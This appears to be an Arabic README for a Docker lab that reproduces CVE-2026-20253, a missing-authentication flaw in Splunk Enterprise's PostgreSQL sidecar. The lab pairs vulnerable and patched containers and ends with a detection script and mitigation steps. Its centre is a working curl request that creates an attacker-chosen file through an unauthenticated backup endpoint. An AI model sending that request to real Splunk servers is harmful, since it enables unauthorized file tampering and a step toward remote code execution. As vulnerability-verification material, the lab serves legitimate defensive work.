
POC لـ CVE-2026-20253
إنشاء واقتطاع ملفات عشوائية دون مصادقة عبر الخدمة المصاحبة PostgreSQL
CVSS 9.8 · حرجة · CWE-306 · استغلال نشط (CISA KEV)
هذا المستودع مخصص حصرياً للأغراض التعليمية وأبحاث الأمن المصرّح بها.
يجب إجراء جميع الاختبارات ضد بنية تحتية تملكها أو لديك إذن كتابي صريح لاختبارها.
لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام التقنيات أو الأدوات الموضحة هنا.
لا تقم أبداً بتشغيل هذا ضد أنظمة الإنتاج أو البيئات التي لا تملكها.
يؤثر CVE-2026-20253 على إصدارات Splunk Enterprise الأقل من 10.2.4 و10.0.7.
تكشف الخدمة المصاحبة PostgreSQL المضمنة مع Splunk عن نقطتي نهاية HTTP داخليتين:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
تفتقر كلتا نقطتي النهاية إلى أي فحص للمصادقة (CWE-306)، مما يعني أن أي مهاجم يمكنه الوصول عبر الشبكة يمكنه استدعاءهما دون بيانات اعتماد. ومن خلال توفير معامل backupFile يتحكم فيه المهاجم، يمكن لمستخدم غير مصادَق إنشاء أو اقتطاع ملفات عشوائية على نظام ملفات مضيف Splunk — وهي أولية استغلال (primitive) تمكن الباحثون من ربطها في سلسلة للوصول إلى تنفيذ كامل للأوامر عن بُعد قبل المصادقة.
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curldocker compose -f docker-compose.yml up -d --build
انتظر حوالي 90 ثانية حتى يكتمل تشغيل Splunk بالكامل. تابع التقدم باستخدام:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
واجهة ويب Splunk → http://localhost:8000
بيانات الاعتماد: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
واجهة ويب Splunk → http://localhost:8001
بيانات الاعتماد: admin / changeme
يمكن تشغيل الحاويتين جنباً إلى جنب — المنافذ متباعدة لتجنب التعارضات.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
المتوقع: 400 — نقطة النهاية موجودة، ولم يتم فرض أي مصادقة، وتمت معالجة الطلب.
تحقق من إنشاء الملف داخل الحاوية:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
المتوقع: 401 — تم الآن فرض المصادقة، وتم رفض الطلب.
| HTTP Status | المعنى |
|---|
نشر فريق watchTowr Labs سكربت كشف يعمل على أتمتة الفحص أعلاه:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
حدّث فوراً إلى إصدار مُصحَّح:
| الفرع | الإصدار المُصحَّح |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
إذا لم تتمكن من تطبيق التصحيح فوراً، فعطّل الخدمة المصاحبة PostgreSQL بإضافة ما يلي إلى server.conf وأعد تشغيل Splunk:
[postgres]
disabled = true
⚠️ لا تعطّل الخدمة المصاحبة إذا كنت تشغّل Edge Processor أو خطوط بيانات SPL2 — فهي مطلوبة لهذه الميزات.
بيئة المختبر هذه مقدمة لأبحاث الأمن الدفاعي والتعليم فقط.
الوصول غير المصرّح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب في المملكة المتحدة، والتشريعات المماثلة حول العالم.
استخدم بمسؤولية.
| الخاصية | التفاصيل |
|---|
| CVE | CVE-2026-20253 |
| درجة CVSS | 9.8 (حرجة) |
| CWE | CWE-306 — غياب المصادقة لوظيفة حرجة |
| المتأثر | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| تم التصحيح في | 10.0.7, 10.2.4 |
| CISA KEV | أُضيف في 18 يونيو 2026 |
400 | قابل للاستغلال — تم الوصول إلى نقطة النهاية، لا يوجد فحص مصادقة |
401 | مُصحَّح — تم فرض المصادقة |
404 | الخدمة المصاحبة غير موجودة / مسار خاطئ |
000 | الحاوية ليست جاهزة بعد |